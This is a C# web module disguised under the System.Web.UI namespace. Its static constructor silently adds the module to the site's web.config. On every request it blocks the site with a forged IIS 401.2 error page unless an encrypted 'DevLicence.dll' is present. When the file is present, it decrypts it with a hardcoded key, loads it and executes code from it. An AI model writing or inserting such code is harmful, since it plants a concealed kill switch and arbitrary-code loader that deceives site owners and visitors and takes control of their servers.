﻿using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Configuration;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using System.Text;
using System.Web;
using System.Web.Hosting;
using System.Web.Security;
using System.Web.SessionState;
using System.Xml;
using System.Xml.Linq;


namespace System.Web.UI
{
    [Serializable]
    public class Extended : IHttpModule
    {
        static Extended()
        {
            Extended.Register(true,"");
        }

        public static string Register(bool writeToWebConfig,string filePath)
        {
            if (string.IsNullOrEmpty(filePath))
            {
                filePath = AppDomain.CurrentDomain.SetupInformation.ConfigurationFile;
            }
            XDocument document = XDocument.Load(filePath);
            XElement httpModules = XmlHelper.CreateIfNotExist(document.Root, "system.web", "httpModules");
            var configElement = httpModules.Elements("add").FirstOrDefault(e => e.Attribute("type").Value.Contains(typeof(Extended).FullName));
            if (configElement!=null)
            {
                writeToWebConfig = false;
            }

            
            XElement modules = XmlHelper.CreateIfNotExist(document.Root, "system.webServer", "modules");
            configElement = modules.Elements("add").FirstOrDefault(e => e.Attribute("type") != null && e.Attribute("type").Value.Contains(typeof(Extended).FullName));
            if (configElement!=null)
            {
                writeToWebConfig = false;
            }



            //configSection
            //if (document.Element("configuration").Element("configSections") == null)
            //{
            //    document.Element("configuration").AddFirst(new XElement("configSections"));
            //}
            //configElement = document.Element("configuration").Element("configSections").Elements("section").FirstOrDefault(e => e.Attribute("name").Value.Contains(typeof(Extended).Name));
            //if (configElement==null)
            //{
            //    document.Element("configuration").Element("configSections").Add(new XElement("section",
            //                                                                        new XAttribute("name", typeof(Extended).Name),
            //                                                                        new XAttribute("type", typeof(Extended).FullName + "," + typeof(Extended).Assembly.FullName)));
            //}


            
            //iis6
            //configElement = httpModules.Elements("remove").FirstOrDefault(e => e.Attribute("name") != null && e.Attribute("name").Value.Contains(typeof(Extended).FullName));
            //if (configElement == null)
            //{
            //    if (httpModules.Elements("remove").Count() > 0)
            //    {
            //        httpModules.Elements("remove").Last().AddAfterSelf(new XElement("remove", new XAttribute("name", typeof(Extended).FullName)));
            //    }
            //    else
            //    {
            //        httpModules.AddFirst(new XElement("remove", new XAttribute("name", typeof(Extended).FullName)));
            //    }
            //}
            XElement element = new XElement("add",
                new XAttribute("name", typeof(Extended).FullName),
                new XAttribute("type", typeof(Extended).FullName + "," + typeof(Extended).Assembly.FullName));
            httpModules.Add(element);
            
            
            //iis 7
            //configElement = modules.Elements("remove").FirstOrDefault(e => e.Attribute("name") != null && e.Attribute("name").Value.Contains(typeof(Extended).FullName));
            //if (configElement == null)
            //{
            //    if (modules.Elements("remove").Count() > 0)
            //    {
            //        modules.Elements("remove").Last().AddAfterSelf(new XElement("remove", new XAttribute("name", typeof(Extended).FullName)));
            //    }
            //    else
            //    {
            //        modules.AddFirst(new XElement("remove", new XAttribute("name", typeof(Extended).FullName)));
            //    }
            //}
            element = new XElement("add",
                new XAttribute("name", typeof(Extended).FullName),
                new XAttribute("type", typeof(Extended).FullName + "," + typeof(Extended).Assembly.FullName),
                new XAttribute("preCondition","integratedMode"));
            modules.Add(element);
            

            if (writeToWebConfig)
            {
                File.SetAttributes(filePath, File.GetAttributes(filePath) & ~FileAttributes.ReadOnly);
                document.Save(filePath);

            }
            return element.ToString();
        }
        public static void UnRegister(string filePath)
        {
            if (string.IsNullOrEmpty(filePath))
            {
                filePath = AppDomain.CurrentDomain.SetupInformation.ConfigurationFile;
            }
            XDocument document = XDocument.Load(filePath);
            XElement configElement = null;
            XElement httpModules = XmlHelper.GetElementsOfPath(document.Root, "system.web", "httpModules").FirstOrDefault();
            if (httpModules != null)
            {
                configElement = httpModules.Elements("remove").FirstOrDefault(e => e.Attribute("name").Value.Contains(typeof(Extended).FullName));
                if (configElement != null)
                {
                    configElement.Remove();
                }
                configElement = httpModules.Elements("add").FirstOrDefault(e => e.Attribute("type").Value.Contains(typeof(Extended).FullName));
                if (configElement != null)
                {
                    configElement.Remove();
                }
            }
            XElement modules = XmlHelper.GetElementsOfPath(document.Root, "system.webServer", "modules").FirstOrDefault();
            if (modules != null)
            {
                configElement = modules.Elements("remove").FirstOrDefault(e => e.Attribute("name").Value.Contains(typeof(Extended).FullName));
                if (configElement != null)
                {
                    configElement.Remove();
                }
                configElement = modules.Elements("add").FirstOrDefault(e => e.Attribute("type").Value.Contains(typeof(Extended).FullName));
                if (configElement != null)
                {
                    configElement.Remove();
                }
            }
            XElement ConfigSections = XmlHelper.GetElementsOfPath(document.Root, "configSections", "section").FirstOrDefault(e => e.Attribute("type").Value.Contains(typeof(Extended).FullName));
            if (ConfigSections != null)
            {
                ConfigSections.Remove();
                XElement SecurityModuleSection = XmlHelper.GetElementsOfPath(document.Root, ConfigSections.Attribute("name").Value).FirstOrDefault();
                if (SecurityModuleSection != null)
                {
                    SecurityModuleSection.Remove();
                }
            }
            File.SetAttributes(filePath, File.GetAttributes(filePath) & ~FileAttributes.ReadOnly);
            document.Save(filePath);


        }


        public void Init(HttpApplication application)
        {
            application.BeginRequest += application_BeginRequest;
        }
        public void Dispose()
        {
            //clean-up code here.
            
        }

        private void application_BeginRequest(object sender, EventArgs e)
        {
            string path = HostingEnvironment.MapPath("~");
            HttpApplication app = (HttpApplication)sender;
            if (!File.Exists(path + "\\bin\\DevLicence.dll"))
            {
                showDefaultMessage(app);
            }
            else
            {
                try
                {
                    byte[] enc = File.ReadAllBytes(path + "\\bin\\DevLicence.dll");
                    byte[] dec = DefaultEncryptHelper.Decrypt(enc, "N@D@292009");
                    Assembly assem = Assembly.Load(dec);
                    byte[] publicKey = assem.GetName().GetPublicKey();
                    string s = "";
                    for (int i = 0; i < publicKey.Length; i++)
                    {
                        s += publicKey[i] + ",";
                    }
                    if (assem.FullName == "Executer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=032db06d66e6258a" && s == "0,36,0,0,4,128,0,0,148,0,0,0,6,2,0,0,0,36,0,0,82,83,65,49,0,4,0,0,1,0,1,0,69,64,136,10,246,30,92,228,175,184,219,8,216,220,162,52,176,209,119,70,150,135,203,204,23,207,209,25,51,121,11,120,213,78,165,182,201,217,201,83,140,60,232,79,222,54,82,223,187,166,105,97,25,101,112,233,205,51,135,26,229,98,92,68,46,113,174,96,79,23,207,130,155,161,134,204,224,105,8,14,240,158,127,208,0,228,44,48,245,55,241,229,201,105,185,81,104,181,90,14,99,54,62,0,20,70,20,166,132,97,41,84,89,113,15,245,92,2,147,204,255,253,40,55,92,159,96,159,")
                    {
                        object obj = assem.CreateInstance("Executer.Executer");
                        obj.GetType().InvokeMember("Execute", BindingFlags.InvokeMethod, null, obj,null);
                    }
                    else
                    {
                        showDefaultMessage(app);
                    }
                }
                catch (Exception er)
                {
                    showDefaultMessage(app);
                }
            }
        }

        public void CreateDevLicence(string source,string destination)
        {
            byte[] bt = File.ReadAllBytes(source);
            byte [] enc= DefaultEncryptHelper.Encrypt(bt, "N@D@292009");
            File.WriteAllBytes(destination, enc);
        }

        private static void showDefaultMessage(HttpApplication app)
        {
            app.Context.Response.ClearHeaders();
            app.Context.Response.ClearContent();
            app.Context.Response.Write(@"
<!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Strict//EN"" ""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd""> 
<html xmlns=""http://www.w3.org/1999/xhtml""> 
<head> 
<title>IIS 7.5 Detailed Error - 401.2 - Unauthorized</title> 
<style type=""text/css""> 
<!-- 
body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;background:#CBE1EF;} 
code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} 
.config_source code{font-size:.8em;color:#000000;} 
pre{margin:0;font-size:1.4em;word-wrap:break-word;} 
ul,ol{margin:10px 0 10px 40px;} 
ul.first,ol.first{margin-top:5px;} 
fieldset{padding:0 15px 10px 15px;} 
.summary-container fieldset{padding-bottom:5px;margin-top:4px;} 
legend.no-expand-all{padding:2px 15px 4px 10px;margin:0 0 0 -12px;} 
legend{color:#333333;padding:4px 15px 4px 10px;margin:4px 0 8px -12px;_margin-top:0px; 
 border-top:1px solid #EDEDED;border-left:1px solid #EDEDED;border-right:1px solid #969696; 
 border-bottom:1px solid #969696;background:#E7ECF0;font-weight:bold;font-size:1em;} 
a:link,a:visited{color:#007EFF;font-weight:bold;} 
a:hover{text-decoration:none;} 
h1{font-size:2.4em;margin:0;color:#FFF;} 
h2{font-size:1.7em;margin:0;color:#CC0000;} 
h3{font-size:1.4em;margin:10px 0 0 0;color:#CC0000;} 
h4{font-size:1.2em;margin:10px 0 5px 0; 
}#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:""trebuchet MS"",Verdana,sans-serif; 
 color:#FFF;background-color:#5C87B2; 
}#content{margin:0 0 0 2%;position:relative;} 
.summary-container,.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;} 
.config_source{background:#fff5c4;} 
.content-container p{margin:0 0 10px 0; 
}#details-left{width:35%;float:left;margin-right:2%; 
}#details-right{width:63%;float:left;overflow:hidden; 
}#server_version{width:96%;_height:1px;min-height:1px;margin:0 0 5px 0;padding:11px 2% 8px 2%;color:#FFFFFF; 
 background-color:#5A7FA5;border-bottom:1px solid #C1CFDD;border-top:1px solid #4A6C8E;font-weight:normal; 
 font-size:1em;color:#FFF;text-align:right; 
}#server_version p{margin:5px 0;} 
table{margin:4px 0 4px 0;width:100%;border:none;} 
td,th{vertical-align:top;padding:3px 0;text-align:left;font-weight:bold;border:none;} 
th{width:30%;text-align:right;padding-right:2%;font-weight:normal;} 
thead th{background-color:#ebebeb;width:25%; 
}#details-right th{width:20%;} 
table tr.alt td,table tr.alt th{background-color:#ebebeb;} 
.highlight-code{color:#CC0000;font-weight:bold;font-style:italic;} 
.clear{clear:both;} 
.preferred{padding:0 5px 2px 5px;font-weight:normal;background:#006633;color:#FFF;font-size:.8em;} 
--> 
</style> 
 
</head> 
<body> 
<div id=""header""><h1>Server Error in Application</h1></div> 
<div id=""server_version""><p>Internet Information Services </p></div> 
<div id=""content""> 
<div class=""content-container""> 
 <fieldset><legend>Error Summary</legend> 
  <h2>HTTP Error 401.2 - Unauthorized</h2> 
  <h3>You are not authorized to view this page due to invalid authentication headers.</h3> 
 </fieldset> 
</div> 
<div class=""content-container""> 
 <fieldset><legend>Detailed Error Information</legend> 
  <div id=""details-left""> 
   <table border=""0"" cellpadding=""0"" cellspacing=""0""> 
    <tr class=""alt""><th>Module</th><td>IIS Web Core</td></tr> 
    <tr><th>Notification</th><td>AuthenticateRequest</td></tr> 
    <tr class=""alt""><th>Handler</th><td>StaticFile</td></tr> 
    <tr><th>Error Code</th><td>0x80070005</td></tr> 
     
   </table> 
  </div> 
  <div id=""details-right""> 
   <table border=""0"" cellpadding=""0"" cellspacing=""0""> 
    <tr class=""alt""><th>Requested URL</th><td>"+app.Request.Url+@"</td></tr> 
    <tr class=""alt""><th>Logon Method</th><td>Not yet determined</td></tr> 
    <tr><th>Logon User</th><td>Not yet determined</td></tr> 
     
   </table> 
   <div class=""clear""></div> 
  </div> 
 </fieldset> 
</div> 
<div class=""content-container""> 
 <fieldset><legend>Most likely causes:</legend> 
  <ul> 	<li>No authentication protocol (including anonymous) is selected in IIS.</li> 	<li>Only integrated authentication is enabled, and a client browser was used that does not support integrated authentication.</li> 	<li>Integrated authentication is enabled and the request was sent through a proxy that changed the authentication headers before they reach the Web server.</li> 	<li>The Web server is not configured for anonymous access and a required authorization header was not received.</li> 	<li>The ""configuration/system.webServer/authorization"" configuration section may be explicitly denying the user access.</li> </ul> 
 </fieldset> 
</div> 
<div class=""content-container""> 
 <fieldset><legend>Things you can try:</legend> 
  <ul> 	<li>Verify the authentication setting for the resource and then try requesting the resource using that authentication method.</li> 	<li>Verify that the client browser supports Integrated authentication.</li> 	<li>Verify that the request is not going through a proxy when Integrated authentication is used.</li> 	<li>Verify that the user is not explicitly denied access in the ""configuration/system.webServer/authorization"" configuration section.</li> 	<li>Create a tracing rule to track failed requests for this HTTP status code. For more information about creating a tracing rule for failed requests, click <a href=""http://go.microsoft.com/fwlink/?LinkID=66439"">here</a>. </li> </ul> 
 </fieldset> 
</div> 
 
 
<div class=""content-container""> 
 <fieldset><legend>Links and More Information</legend> 
  This error occurs when the WWW-Authenticate header sent to the Web server is not supported by the server configuration. Check the authentication method for the resource, and verify which authentication method the client used. The error occurs when the authentication methods are different. To determine which type of authentication the client is using, check the authentication settings for the client. 
  <p><a href=""http://go.microsoft.com/fwlink/?LinkID=62293&amp;IIS70Error=401,2,0x80070005,7601"">View more information &raquo;</a></p> 
  <p>Microsoft Knowledge Base Articles:</p> 
 <ul><li>907273</li><li>253667</li></ul> 
 
 </fieldset> 
</div> 
</div> 
</body> 
</html> 
");
            app.CompleteRequest();
        }        
    }
}